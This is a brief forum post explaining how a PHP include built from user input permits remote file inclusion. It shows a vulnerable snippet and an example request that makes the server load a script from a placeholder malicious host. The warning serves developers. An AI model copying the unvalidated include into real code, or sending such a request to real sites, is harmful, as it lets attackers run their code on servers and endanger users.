How come a simple PHP include file be vulnerable
Well I suppose this is just a warning but in a global way, when you include .php scripts which names come from user input, you should absolutely check if the names provided are correct or not (to prevent security issues).
For example, a lot of websites use a "global" file that would include file according to requests coming from the user.
Example :
<?php$get = $_GET['action'];if ($get == "index") { include "includes/index.php";}//...else{ include $get .".php";}Now let's imagine someone want to include some malicious script within your website. If your server allow cross-website requests, then people could specify some external script that could be dangerous for your server or the others users.
Example : ./global.php?action=http://malicious4ever.com/dirtything